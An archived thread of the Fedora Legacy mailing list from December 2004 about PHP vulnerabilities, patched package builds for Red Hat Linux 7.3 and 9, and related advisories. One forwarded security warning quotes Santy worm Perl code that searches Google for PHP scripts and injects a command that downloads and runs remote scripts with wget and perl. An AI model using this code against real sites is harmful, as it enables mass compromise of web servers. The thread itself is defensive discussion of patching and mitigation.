Popovitch wrote: > Does anyone know to what extent, if any, the recently announced PHP > vulnerabilities affect FL? > > My understanding is that this is something that should probably > necessitate a release from us. > > http://www.hardened-php.net/advisories/012004.txt RH's own updates are in Q&A for RHEL: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141132 SRPM for the RHEL *test* update can be found here: http://wftp.tu-chemnitz.de/pub/linux/tao/tao-1.0-i386/testing/SRPMS/ Regards, Peter From michal at harddata.com Tue Dec 21 16:43:21 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 21 Dec 2004 09:43:21 -0700 Subject: PHP vulnerabilities? In-Reply-To: <41C844B5.5060807@iki.fi>; from peter.peltonen@iki.fi on Tue, Dec 21, 2004 at 05:43:49PM +0200 References: <1103327938.5791.17.camel@blue> <41C844B5.5060807@iki.fi> Message-ID: <20041221094321.A649@mail.harddata.com> On Tue, Dec 21, 2004 at 05:43:49PM +0200, Peter Peltonen wrote: > Jim Popovitch wrote: > > Does anyone know to what extent, if any, the recently announced PHP > > vulnerabilities affect FL? > > > > My understanding is that this is something that should probably > > necessitate a release from us. > > > > http://www.hardened-php.net/advisories/012004.txt > > RH's own updates are in Q&A for RHEL: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141132 https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141132#c10 quotes http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=248046 where it is stated that these vulnerabilities are already exploited in the wild. > SRPM for the RHEL *test* update can be found here: > > http://wftp.tu-chemnitz.de/pub/linux/tao/tao-1.0-i386/testing/SRPMS/ This is again 4.3 series only. More precisely php-4.3.2-19.ent.src.rpm. Sigh! Michal From jimpop at yahoo.com Tue Dec 21 16:44:54 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Tue, 21 Dec 2004 11:44:54 -0500 Subject: PHP vulnerabilities? In-Reply-To: <41C844B5.5060807@iki.fi> References: <1103327938.5791.17.camel@blue> <41C844B5.5060807@iki.fi> Message-ID: <1103647494.4270.1.camel@blue> On Tue, 2004-12-21 at 17:43 +0200, Peter Peltonen wrote: > RH's own updates are in Q&A for RHEL: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141132 > > SRPM for the RHEL *test* update can be found here: > > http://wftp.tu-chemnitz.de/pub/linux/tao/tao-1.0-i386/testing/SRPMS/ Hmmm, that rpm depends on db4-devel, something not available on RH73. -Jim P. From jimpop at yahoo.com Tue Dec 21 18:50:12 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Tue, 21 Dec 2004 13:50:12 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1103593973.21416.4.camel@blue> References: <1103327938.5791.17.camel@blue> <1103331172.1275.63.camel@rXm-581b.stl.gtri.gatech.edu> <1103334113.5791.37.camel@blue> <1103593973.21416.4.camel@blue> Message-ID: <1103655012.5434.13.camel@blue> FYI: http://isc.sans.org/diary.php?date=2004-12-21 -Jim P. On Mon, 2004-12-20 at 20:52 -0500, Jim Popovitch wrote: > On Fri, 2004-12-17 at 20:41 -0500, Jim Popovitch wrote: > > Given the considerable amount of changes in PHP since v4.1.2 (current FL > > release), what is the possibility about just releasing a v4.3.10 rpm? > > One could sorta argue that the number of security problems necessitates > > more than just a point fix here and a point fix there (in no way > > implying that any part of this is trivial) > > > > Let me put this issue to rest. I spent some time investigating this and > there are just too many newer dependencies that aren't currently > available on RH73. So, there is slim chance that PHP 4.3.10 could even > be ported to RH73, at least not without significant work. > > -Jim P. > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From spamtrap433941935136 at anime.net Tue Dec 21 19:59:17 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Tue, 21 Dec 2004 11:59:17 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <1103655012.5434.13.camel@blue> Message-ID: On Tue, 21 Dec 2004, Jim Popovitch wrote: > FYI: > http://isc.sans.org/diary.php?date=2004-12-21 Its not using the php exploit. Its using an old phpbb hole. -Dan From spamtrap433941935136 at anime.net Tue Dec 21 20:15:46 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Tue, 21 Dec 2004 12:15:46 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <1103647494.4270.1.camel@blue> Message-ID: On Tue, 21 Dec 2004, Jim Popovitch wrote: > On Tue, 2004-12-21 at 17:43 +0200, Peter Peltonen wrote: > > RH's own updates are in Q&A for RHEL: > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141132 > > SRPM for the RHEL *test* update can be found here: > > http://wftp.tu-chemnitz.de/pub/linux/tao/tao-1.0-i386/testing/SRPMS/ > Hmmm, that rpm depends on db4-devel, something not available on RH73. So is there any solution for rh73? -Dan From jimpop at yahoo.com Tue Dec 21 20:49:24 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Tue, 21 Dec 2004 15:49:24 -0500 Subject: PHP vulnerabilities? In-Reply-To: References: Message-ID: <1103662164.6336.2.camel@blue> On Tue, 2004-12-21 at 12:15 -0800, Dan Hollis wrote: > On Tue, 21 Dec 2004, Jim Popovitch wrote: > > On Tue, 2004-12-21 at 17:43 +0200, Peter Peltonen wrote: > > > RH's own updates are in Q&A for RHEL: > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141132 > > > SRPM for the RHEL *test* update can be found here: > > > http://wftp.tu-chemnitz.de/pub/linux/tao/tao-1.0-i386/testing/SRPMS/ > > Hmmm, that rpm depends on db4-devel, something not available on RH73. > > So is there any solution for rh73? Not just yet. Stuart is close to releasing one, and I am waiting anxiously to test it. -Jim P. From marcdeslauriers at videotron.ca Wed Dec 22 01:32:54 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 21 Dec 2004 20:32:54 -0500 Subject: PHP packages to QA for rh9 and fc1 Message-ID: <1103679174.3665.1.camel@mdlinux> I just uploaded PHP packages to QA for rh9 and fc1. https://bugzilla.fedora.us/show_bug.cgi?id=2344 Could someone with a little time do some QA on them? I don't have packages for rh7.3 yet. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From sopwith at redhat.com Wed Dec 22 20:12:58 2004 From: sopwith at redhat.com (Elliot Lee) Date: Wed, 22 Dec 2004 15:12:58 -0500 Subject: Fedora Project Mailing Lists reminder Message-ID: This is a reminder of the mailing lists for the Fedora Project, and the purpose of each list. You can view this information at http://fedora.redhat.com/participate/communicate/ When you're using these mailing lists, please take the time to choose the one that is most appropriate to your post. If you don't know the right mailing list to use for a question or discussion, please contact me. This will help you get the best possible answer for your question, and keep other list subscribers happy! Mailing Lists Mailing lists are email addresses which send email to all users subscribed to the mailing list. Sending an email to a mailing list reaches all users interested in discussing a specific topic and users available to help other users with the topic. The following mailing lists are available. To subscribe, send email to -request at redhat.com (replace with the desired mailing list name such as fedora-list) with the word subscribe in the subject. fedora-announce-list - Announcements of changes and events. To stay aware of news, subscribe to this list. fedora-list - For users of releases. If you want help with a problem installing or using , this is the list for you. fedora-test-list - For testers of test releases. If you would like to discuss experiences using TEST releases, this is the list for you. fedora-devel-list - For developers, developers, developers. If you are interested in helping create releases, this is the list for you. fedora-docs-list - For participants of the docs project fedora-desktop-list - For discussions about desktop issues such as user interfaces, artwork, and usability fedora-config-list - For discussions about the development of configuration tools fedora-tools-list - For discussions about the toolchain (gcc, gdb, etc...) within Fedora fedora-patches-list - For submitting patches to Fedora maintainers, and used in line with BugWeek fedora-legacy-announce - For announcements about the Fedora Legacy Project fedora-legacy-list - For discussions about the Fedora Legacy Project fedora-selinux-list - For discussions about the Fedora SELinux Project fedora-marketing-list - For discussions about marketing and expanding the Fedora user base fedora-de-list - For discussions about Fedora in the German language fedora-es-list - For discussions about Fedora in the Spanish language fedora-ja-list - For discussions about Fedora in the Japanese language fedora-i18n-list - For discussions about the internationalization of Fedora Core fedora-trans-list - For discussions about translating the software and documentation associated with the Fedora Project German: fedora-trans-de French: fedora-trans-fr Spanish: fedora-trans-es Italian: fedora-trans-it Brazilian Portuguese: fedora-trans-pt_br Japanese: fedora-trans-ja Korean: fedora-trans-ko Simplified Chinese: fedora-trans-zh_cn Traditional Chinese: fedora-trans-zh_tw From jimpop at yahoo.com Thu Dec 23 23:53:42 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Thu, 23 Dec 2004 18:53:42 -0500 Subject: [Fwd: RHN Errata Alert: Updated php packages fix security issues and bugs] Message-ID: <1103846022.4256.20.camel@blue> FYI: looks like RH is on the way to solving this. On a related note, how "ethical" is it for us to grab their fixes and apply them to FL releases? -Jim P. -------- Forwarded Message -------- From: Red Hat Network Alert To: jpopovitch Subject: RHN Errata Alert: Updated php packages fix security issues and bugs Date: Thu, 23 Dec 2004 18:41:00 -0500 Red Hat Network has determined that the following advisory is applicable to one or more of the systems you have registered: Complete information about this errata can be found at the following location: https://rhn.redhat.com/network/errata/errata_details.pxt?eid=2592 Security Advisory - RHSA-2004:687-05 ------------------------------------------------------------------------------ Summary: Updated php packages fix security issues and bugs Updated php packages that fix various security issues and bugs are now available for Red Hat Enterprise Linux 3. Description: PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Web server. Flaws including possible information disclosure, double free, and negative reference index array underflow were found in the deserialization code of PHP. PHP applications may use the unserialize function on untrusted user data, which could allow a remote attacker to gain access to memory or potentially execute arbitrary code. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1019 to this issue. A flaw in the exif extension of PHP was found which lead to a stack overflow. An attacker could create a carefully crafted image file in such a way that if parsed by a PHP script using the exif extension it could cause a crash or potentially execute arbitrary code. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1065 to this issue. An information disclosure bug was discovered in the parsing of "GPC" variables in PHP (query strings or cookies, and POST form data). If particular scripts used the values of the GPC variables, portions of the memory space of an httpd child process could be revealed to the client. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0958 to this issue. A file access bug was discovered in the parsing of "multipart/form-data" forms, used by PHP scripts which allow file uploads. In particular configurations, some scripts could allow a malicious client to upload files to an arbitrary directory where the "apache" user has write access. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0959 to this issue. Flaws were found in shmop_write, pack, and unpack PHP functions. These functions are not normally passed user supplied data, so would require a malicious PHP script to be exploited. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1018 to this issue. Various issues were discovered in the use of the "select" system call in PHP, which could be triggered if PHP is used in an Apache configuration where the number of open files (such as virtual host log files) exceeds the default process limit of 1024. Workarounds are now included for some of these issues. The "phpize" shell script included in PHP can be used to build third-party extension modules. A build issue was discovered in the "phpize" script on some 64-bit platforms which prevented correct operation. The "pcntl" extension module is now enabled in the command line PHP interpreter, /usr/bin/php. This module enables process control features such as "fork" and "kill" from PHP scripts. Users of PHP should upgrade to these updated packages, which contain fixes for these issues. ------------------------------------------------------------------------------ ------------- Taking Action ------------- You may address the issues outlined in this advisory in two ways: - select your server name by clicking on its name from the list available at the following location, and then schedule an errata update for it: https://rhn.redhat.com/network/systemlist/system_list.pxt - run the Update Agent on each affected server. --------------------------------- Changing Notification Preferences --------------------------------- To enable/disable your Errata Alert preferences globally please log in to RHN and navigate from "Your RHN" / "Your Account" to the "Preferences" tab. URL: https://rhn.redhat.com/network/my_account/my_prefs.pxt You can also enable/disable notification on a per system basis by selecting an individual system from the "Systems List". From the individual system view click the "Details" tab. --------------------- Affected Systems List --------------------- This Errata Advisory may apply to the systems listed below. If you know that this errata does not apply to a system listed, it might be possible that the package profile for that server is out of date. In that case you should run 'up2date -p' as root on the system in question to refresh your software profile. There is 1 affected system registered in 'Your RHN' (only systems for which you have explicitly enabled Errata Alerts are shown). Release Arch Profile Name -------- -------- ------------ 3WS i686 rhel3 The Red Hat Network Team This message is being sent by Red Hat Network Alert to: RHN user login: jpopovitch Email address on file: If you lost your RHN password, you can use the information above to retrieve it by email from the following address: https://rhn.redhat.com/forgot_password.pxt To cancel these notices, go to: https://rhn.redhat.com/oo.pxt?uid=2434124&oid=2991226 From mattdm at mattdm.org Fri Dec 24 00:28:29 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 23 Dec 2004 19:28:29 -0500 Subject: [Fwd: RHN Errata Alert: Updated php packages fix security issues and bugs] In-Reply-To: <1103846022.4256.20.camel@blue> References: <1103846022.4256.20.camel@blue> Message-ID: <20041224002829.GA30408@jadzia.bu.edu> On Thu, Dec 23, 2004 at 06:53:42PM -0500, Jim Popovitch wrote: > FYI: looks like RH is on the way to solving this. > On a related note, how "ethical" is it for us to grab their fixes and > apply them to FL releases? Very ethical. It's open source software. Fedora Legacy contributes an important part of the Fedora project infrastructure, and that in turn feeds RHEL. It's a big cycle. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From cturner at redhat.com Fri Dec 24 00:55:25 2004 From: cturner at redhat.com (Chip Turner) Date: Thu, 23 Dec 2004 19:55:25 -0500 Subject: [Fwd: RHN Errata Alert: Updated php packages fix security issues and bugs] In-Reply-To: <20041224002829.GA30408@jadzia.bu.edu> (Matthew Miller's message of "Thu, 23 Dec 2004 19:28:29 -0500") References: <1103846022.4256.20.camel@blue> <20041224002829.GA30408@jadzia.bu.edu> Message-ID: Matthew Miller writes: > On Thu, Dec 23, 2004 at 06:53:42PM -0500, Jim Popovitch wrote: >> FYI: looks like RH is on the way to solving this. >> On a related note, how "ethical" is it for us to grab their fixes and >> apply them to FL releases? > > Very ethical. It's open source software. Fedora Legacy contributes an > important part of the Fedora project infrastructure, and that in turn feeds > RHEL. It's a big cycle. Absolutely and completely ethical. Like Matthew says, it's a big cycle. You should fully expect RHEL/FC to take good open source work you do, too! Happy Holidays, Chip -- Chip Turner cturner at redhat.com Red Hat, Inc. From pekkas at netcore.fi Fri Dec 24 06:28:02 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Fri, 24 Dec 2004 08:28:02 +0200 (EET) Subject: [Fwd: RHN Errata Alert: Updated php packages fix security issues and bugs] In-Reply-To: <1103846022.4256.20.camel@blue> References: <1103846022.4256.20.camel@blue> Message-ID: On Thu, 23 Dec 2004, Jim Popovitch wrote: > FYI: looks like RH is on the way to solving this. > > On a related note, how "ethical" is it for us to grab their fixes and > apply them to FL releases? There is already proposed package for RHL9 which has one publish vote. FC1 package is missing two patches which are already provided in bugzilla. If you have either of these systems and run php, I suggest you take a look and try them out. It is not yet certain to what extent RHL73 issues will be fixed. There may not even be any, at least Debian stable is not intending to release fixes, and there aren't yet any for RHEL21 either. So, it seems to be the safest bet to just skip RHL73 updates for now. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From pekkas at netcore.fi Sat Dec 25 20:08:00 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Sat, 25 Dec 2004 22:08:00 +0200 (EET) Subject: New Santy-Worm attacks *all* PHP-skripts (fwd) Message-ID: FYI -- I noticed this at one site. AFAIK, turning off register_globals mitigates this a bit. Unfortunately it was on by default in the earlier versions of php.. Not sure what we should do (if anything). ---------- Forwarded message ---------- Date: Sat, 25 Dec 2004 18:12:21 +0100 (CET) From: Juergen Schmidt To: full-disclosure at lists.netsys.com, bugtraq at securityfocus.com Subject: New Santy-Worm attacks *all* PHP-skripts Hello, the new santy version not only attacks phpBB. It uses the brasilian Google site to find all kinds of PHP skripts. It parses their URLs and overwrites variables with strings like: 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget www.visualcoders.net/spybot.txt;... Often enough this leads to download and execution of code. On success the worm connects to an IRC server, where already more than 700 zombies are waiting for commands. The relevant code: --------- $procura = 'inurl:*.php?*=' . $numr; for($n=0;$n<900;$n += 10){ $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next; print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n"; ... $lista1 = 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget www.visualcoders.net/spybot.txt;wget www.visualcoders.net/worm1.txt;wget www.visualcod ers.net/php.txt;wget www.visualcoders.net/ownz.txt;wget www.visualcoders.net/zone.txt;perl spybot.txt;perl worm1.txt;perl ownz.txt;perl php.txt'; $t =0; $y =0; @ja; open(opa,"<$caxe") or die "nao deu pra abrir o arquivo caxe.txt"; while () { $ja[$t] = $_; chomp $ja[$t]; $t++; $y++; } close(opa); $t=1; while ($t < $y) { if ($ja[$t] =~/=/) { $num = rindex $ja[$t], '='; $num += 1; $ja[$t] = substr($ja[$t],0,$num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; print jaera "$ja[$t]$lista1\n"; close(jaera); $num = index $ja[$t], '='; $num += 1; $ja[$t] = substr($ja[$t],0,$num); $num1 = rindex $ja[$t], '.'; $subproc = substr($ja[$t],$num1,$num); open (jaera,">>$caxe1") or die "nao deu pra abrir ou criar caxe1.txt"; print jaera "$ja[$t]$lista1\n"; close(jaera); } $t++; } bye, ju -- Juergen Schmidt Chefredakteur heise Security www.heisec.de Heise Zeitschriften Verlag, Helstorferstr. 7, D-30625 Hannover Tel. +49 511 5352 300 FAX +49 511 5352 417 EMail ju at heisec.de GPG-Key: 0x38EA4970, 5D7B 476D 84D5 94FF E7C5 67BE F895 0A18 38EA 4970 From mattdm at mattdm.org Sun Dec 26 02:40:40 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sat, 25 Dec 2004 21:40:40 -0500 Subject: New Santy-Worm attacks *all* PHP-skripts (fwd) In-Reply-To: References: Message-ID: <20041226024040.GA13366@jadzia.bu.edu> On Sat, Dec 25, 2004 at 10:08:00PM +0200, Pekka Savola wrote: > I noticed this at one site. AFAIK, turning off register_globals > mitigates this a bit. Unfortunately it was on by default in the > earlier versions of php.. > Not sure what we should do (if anything). It's off in the default php.ini in php-4.2.2-17.7.legacy. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From spamtrap433941935136 at anime.net Sun Dec 26 08:14:48 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Sun, 26 Dec 2004 00:14:48 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <1103693493.3845.6.camel@core1.inhouse.serverpeak.com> Message-ID: On Wed, 22 Dec 2004, Stuart Low wrote: > > I skipped xslt support; that would complicate things although on > > 22 Jul 2004 on this list, with a subject "New PHP 4.3.8 RPMS > > Released", Stuart Low wrote: > > > I've just released PHP RPMs for Redhat 7.3, 9, Enterprise 3 & > > > Fedora Core 1/2. > Heya, > Yes, that's me. :) > I've actually just finished building PHP 4.3.10 RPMS for 7.3, 9, 3ES and > FC1. > You can find the SRPM for all versions >RH9 here: > http://www.seekbrain.com/downloads/psa/BUILD/ > The RH7.3 version was more of a pain then it was worth to put into a > unified build so I had to upgrade the existing RH 7.3 RPM manually. > I'll release 4.3.10 within the next 24hrs for RH 7.3 and RH9 and send a > message to this list once I'm done. Is there any chance of backporting the fixes to php 4.1? An upgrade from 4.1 -> 4.3 is pretty traumatic (all the cross dependent packages, etc.) -Dan From stuart at serverpeak.com Sun Dec 26 09:32:00 2004 From: stuart at serverpeak.com (Stuart Low) Date: Sun, 26 Dec 2004 19:32:00 +1000 Subject: PHP vulnerabilities? In-Reply-To: References: Message-ID: <1104053519.3169.83.camel@localhost.localdomain> > Is there any chance of backporting the fixes to php 4.1? > > An upgrade from 4.1 -> 4.3 is pretty traumatic (all the cross dependent > packages, etc.) Err.. Install yum? Seriously man, that'll resolve your issues. If it's your application that's failing, I've already covered my disagreement with backporting packages for lagging applications. Stuart From mattdm at mattdm.org Sun Dec 26 10:58:58 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sun, 26 Dec 2004 05:58:58 -0500 Subject: PHP vulnerabilities? In-Reply-To: <1104053519.3169.83.camel@localhost.localdomain> References: <1104053519.3169.83.camel@localhost.localdomain> Message-ID: <20041226105858.GA4443@jadzia.bu.edu> On Sun, Dec 26, 2004 at 07:32:00PM +1000, Stuart Low wrote: > > Is there any chance of backporting the fixes to php 4.1? > > An upgrade from 4.1 -> 4.3 is pretty traumatic (all the cross dependent > > packages, etc.) > Err.. Install yum? > Seriously man, that'll resolve your issues. Well, no, not unless someone updates all of those packages too. Depsolvers can only do so much magic -- they've got to actually have something to work with. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mattdm at mattdm.org Sun Dec 26 19:33:15 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sun, 26 Dec 2004 14:33:15 -0500 Subject: New Santy-Worm attacks *all* PHP-skripts (fwd) In-Reply-To: <20041226165039.M96815@mm-vanecek.cc> References: <20041226024040.GA13366@jadzia.bu.edu> <20041226165039.M96815@mm-vanecek.cc> Message-ID: <20041226193315.GA16196@jadzia.bu.edu> On Sun, Dec 26, 2004 at 10:54:31AM -0600, Mike Vanecek wrote: > > It's off in the default php.ini in php-4.2.2-17.7.legacy. > Uhm, wonder why it is on in mine? > rpm -q php > php-4.2.2-17.7.legacy [...] Someone must have turned it on. Or maybe, it didn't get upgraded from an even older version which had it on? It's definitely off in the php-4.2.2-17.7.legacy version -- I just triple-checked. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From spamtrap433941935136 at anime.net Mon Dec 27 01:06:52 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Sun, 26 Dec 2004 17:06:52 -0800 (PST) Subject: PHP vulnerabilities? In-Reply-To: <1104053519.3169.83.camel@localhost.localdomain> Message-ID: On Sun, 26 Dec 2004, Stuart Low wrote: > > Is there any chance of backporting the fixes to php 4.1? > > An upgrade from 4.1 -> 4.3 is pretty traumatic (all the cross dependent > > packages, etc.) > Err.. Install yum? I've had yum installed for years now... > Seriously man, that'll resolve your issues. > If it's your application that's failing, I've already covered my > disagreement with backporting packages for lagging applications. > Stuart Have all the cross dependent php packages been recompiled too? php-imap, php-snmp, php-mysql, php-ldap, etc? I do have seekbrain in my yum.conf, but 'yum update' and 'yum list updates' doesnt list any php updates available. [seekbrain] name=Seekbrain.com Updates for $releasever baseurl=http://www.seekbrain.com/downloads/psa/$releasever/ # yum list updates Gathering package information from servers Getting headers from: Red Hat Linux 7.3 base Getting headers from: Fedora Legacy utilities for Red Hat Linux 7.3 Getting headers from: Seekbrain.com Updates for 7.3 Getting headers from: Red Hat Linux 7.3 updates Getting headers from: Red Hat Linux 7.3 updates-testing Finding updated packages Downloading needed headers Name Arch Version -------------------------------------------------------------------------------- [...] perl-suidperl i386 5.6.1-36.1.73 pidentd i386 3.0.14-5 [...] no php! My current php is: $ rpm -qi php Name : php Relocations: (not relocateable) Version : 4.1.2 Vendor: Fedora Legacy Release : 7.3.10.legacy Build Date: Thu 30 Sep 2004 06:59:24 PM PDT Install date: Wed 13 Oct 2004 04:20:05 PM PDT Build Host: jane.fedoralegacy.org Group : Development/Languages Source RPM: php-4.1.2-7.3.10.legacy.src.rpm Size : 4296320 License: The PHP License, version 2.02 I also notice that no php packages are listed in http://www.seekbrain.com/downloads/psa/7.3/ when I browse it. -Dan From stuart at serverpeak.com Mon Dec 27 02:00:13 2004 From: stuart at serverpeak.com (Stuart Low) Date: Mon, 27 Dec 2004 12:00:13 +1000 Subject: PHP vulnerabilities? In-Reply-To: References: Message-ID: <1104112813.3891.48.camel@core1.inhouse.serverpeak.com> > Have all the cross dependent php packages been recompiled too? > php-imap, php-snmp, php-mysql, php-ldap, etc? If you rebuild php-4.3.10.sp.src.rpm (from memory) you can specify any of the options which suit you. By default I believe all the above are covered. [EDIT: Ah whoops, you're RH7.3, there's a 4.3.8 SRPM there. :-/ Sorry.] > I do have seekbrain in my yum.conf, but 'yum update' and 'yum list > updates' doesnt list any php updates available. > > [seekbrain] > name=Seekbrain.com Updates for $releasever > baseurl=http://www.seekbrain.com/downloads/psa/$releasever/ > I also notice that no php packages are listed in > http://www.seekbrain.com/downloads/psa/7.3/ when I browse it. I've been tardy in uploading the compiled RPMs (due to the Christmas break). The source RPM that's there will recompile happily though so you should be able to do rpmbuild --rebuild php-4.3.10.sp.src.rpm and end up with the subpackages. [For RH7.3 you can grab and rebuild http://au.seekbrain.com/downloads/psa/BUILD/php-4.3.10- sp.rh73.1.src.rpm] Stuart From spamtrap433941935136 at anime.net Mon Dec 27 05:45:39 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Sun, 26 Dec 2004 21:45:39 -0800 (PST) Subject: PHP vulnerabilities? Message-ID: Stuart Low wrote: > I've been tardy in uploading the compiled RPMs (due to the Christmas > break). The source RPM that's there will recompile happily though so you > should be able to do rpmbuild --rebuild php-4.3.10.sp.src.rpm and end up > with the subpackages. > [For RH7.3 you can grab and rebuild > http://au.seekbrain.com/downloads/psa/BUILD/php-4.3.10- > sp.rh73.1.src.rpm] # rpmbuild --rebuild php-4.3.10-sp.rh73.1.src.rpm Installing php-4.3.10-sp.rh73.1.src.rpm error: failed build dependencies: libmcrypt is needed by php-4.3.10-sp.rh73.1 libmcrypt-devel is needed by php-4.3.10-sp.rh73.1 I am having a rather hard time finding a libmcrypt rpm which will install, let alone compile on rh7.3. I found a nice libmcrypt srpm which wants autoconf 2.50, which of course does not exist on rh7.3. All the binary libmcrypt rpms i've found want glibc2.3, which again does not exist on rh7.3. What's an exact url for a libmcrypt binary rpm for rh7.3? -Dan From ronny at netrusion.com Mon Dec 27 08:05:31 2004 From: ronny at netrusion.com (Ronny Vaningh) Date: Mon, 27 Dec 2004 09:05:31 +0100 (CET) Subject: New Santy-Worm attacks *all* PHP-skripts Message-ID: <51243.195.13.11.226.1104134731.squirrel@cheetah.netrusion.com> Hi I informed isc.sans.org about this on saturday morning but they failed to explicitly mention that it wasn't only phpBB related However setting register_globals to Off doesn't protect you completly The script could be modified to use fopen to download the "sploit" http://www.php-space.info/webmaster-news-3.php There is some "less heavy" exploiting in the wild seen using this From trujillo.carlos at gmail.com Tue Dec 28 12:57:53 2004 From: trujillo.carlos at gmail.com (Carlos Arturo Trujillo Silva) Date: Tue, 28 Dec 2004 07:57:53 -0500 Subject: db4 Upgrade Message-ID: <88da6942041228045714376ce9@mail.gmail.com> Hi, I'm updrading db4 with apt-get, buy when finish resolv the dependecies the follow it's showed. *************** Unknown signature /var/cache/apt/archives/rsync_2.5.7-2.legacy.9_i386.rpm: (SHA1) DSA sha1 md5 (GPG) NOT OK (MISSING KEYS: GPG#731002fa) E: Error: 0 unsigned packages 26 unknown signatures 0 illegal/corrupted signatures *************** And no upgrade. why? I use Red Hat 9, -- Gracias. Atentamente, Carlos Arturo Trujillo Silva Ingeniero de Sistemas From ad+lists at uni-x.org Tue Dec 28 13:45:08 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Tue, 28 Dec 2004 14:45:08 +0100 Subject: db4 Upgrade In-Reply-To: <88da6942041228045714376ce9@mail.gmail.com> References: <88da6942041228045714376ce9@mail.gmail.com> Message-ID: <1104241508.13742.149.camel@serendipity.dogma.lan> Am Di, den 28.12.2004 schrieb Carlos Arturo Trujillo Silva um 13:57: > I'm updrading db4 with apt-get, buy when finish resolv the dependecies > the follow it's showed. > > *************** > Unknown signature > /var/cache/apt/archives/rsync_2.5.7-2.legacy.9_i386.rpm: (SHA1) DSA > sha1 md5 (GPG) NOT OK (MISSING KEYS: GPG#731002fa) > E: Error: 0 unsigned packages > 26 unknown signatures > 0 illegal/corrupted signatures > *************** > > And no upgrade. why? Because the GPG key(s) is/are missing in the RPM database. > I use Red Hat 9, Please read the documents on the Fedora Legacy Project page. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.9-1.6_FC2smp Serendipity 14:44:04 up 5 days, 16:28, load average: 0.04, 0.04, 0.08 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From dom at earth.li Tue Dec 28 21:21:53 2004 From: dom at earth.li (Dominic Hargreaves) Date: Tue, 28 Dec 2004 21:21:53 -0000 Subject: [FLSA-2004:1552] Updated cadaver packages that fix security vulnerabilities Message-ID: <20040929161357.GB11725@home.thedom.org> ----------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated cadaver resolves security vulnerabilities Advisory ID: FLSA:1552 Issue date: 2004-09-29 Product: Red Hat Linux Keywords: Security Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=1552 CVE Names: CAN-2004-0179, CAN-2004-0398 ----------------------------------------------------------------------- ----------------------------------------------------------------------- 1. Topic: Updated cadaver packages that fix multiple security vulnerability are now available. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 3. Problem description: An updated cadaver package that fixes a vulnerability in neon exploitable by a malicious DAV server is now available. cadaver is a command-line WebDAV client that uses inbuilt code from neon, an HTTP and WebDAV client library. Versions of the neon client library up to and including 0.24.4 have been found to contain a number of format string bugs. An attacker could create a malicious WebDAV server in such a way as to allow arbitrary code execution on the client should a user connect to it using cadaver. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0179 to this issue. This issue was addressed in a previous update for Red Hat Linux 9. Stefan Esser discovered a flaw in the neon library which allows a heap buffer overflow in a date parsing routine. An attacker could create a malicious WebDAV server in such a way as to allow arbitrary code execution on the client should a user connect to it using cadaver. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0398 to this issue. Users of cadaver are advised to upgrade to this updated package, which contains patches correcting these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: 